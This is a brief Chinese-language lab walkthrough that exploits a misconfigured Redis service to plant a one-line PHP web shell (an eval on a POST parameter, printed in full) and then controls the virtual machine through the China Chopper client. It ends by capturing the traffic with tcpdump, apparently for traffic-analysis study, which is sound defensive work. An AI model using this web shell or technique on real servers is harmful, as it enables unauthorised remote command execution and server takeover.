环境需求:php服务、redis服务、apache服务开启
浏览器访问:服务器IP/index.php
利用redis漏洞
进入redis交互模式
输入一句话木马
<?php @eval($_POST['123']);?>
浏览器访问:服务器IP/qwe.php
在windows端 使用“中国菜刀”
地址后面的小框填写输入的密码
点击进入,发现已经获得虚拟机权限
右键添加的那一网址,点击“虚拟终端”,可以在内输入命令
在虚拟机用tcpdump命令抓流量包,然后进行分析